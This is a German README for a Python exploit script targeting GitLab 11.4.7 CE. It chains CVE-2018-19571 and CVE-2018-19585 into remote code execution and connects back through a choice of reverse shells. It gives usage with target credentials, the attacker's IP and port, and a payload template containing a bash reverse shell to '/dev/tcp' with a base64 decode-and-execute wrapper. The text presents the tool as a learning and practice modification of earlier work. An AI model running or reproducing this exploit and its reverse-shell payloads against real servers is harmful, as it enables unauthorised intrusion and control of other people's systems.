
GitLab 11.4.7 RCE-Exploit mit verschiedenen Reverse-Shells. CVE-2018-19571 + CVE-2018-19585
GitLab 11.4.7 CE RCE Exploit mit verschiedenen Reverse Shells.
CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571
CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585
Modifikation der Version von Sam Redmond und Tam Lai Yin zum Lernen und Üben.
Es ist in Python3 geschrieben, wie es sich gehört.
Abhängigkeiten:
pip3 install requests
Verwendung:
python3 rce_script.py -u <username> -p <password> -g <url:port> -l <local ip> -P <local port> [<shell lang>]
Standardmäßig wird die Netcat-Shell mit der Option -e verwendet.
Aktuelle eingebaute Shells:
Manche Shells enthalten Zeichen, die nicht mit der Anfragekodierung kompatibel sind. Daher werden sie in Base64 kodiert und dann auf dem Zielrechner dekodiert und ausgeführt.
Wenn Sie Ihre eigene Shell hinzufügen möchten, fügen Sie einen Wert zur payloads_dict-Struktur hinzu.
Sie müssen Folgendes definieren:
'bash': {
# If the raw_payload can be executed withoud encoding
'safe': False,
# Payload, must contain the references for the local_ip and for the local_port
'raw_payload': 'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1',
# How to execute the payload if safe is False. Must conatin the reference for payload
'exec_string': 'echo {payload} | base64 -d | /bin/bash'
}
Das HTML-Parsing ist ziemlich fest codiert, es kann leicht brechen.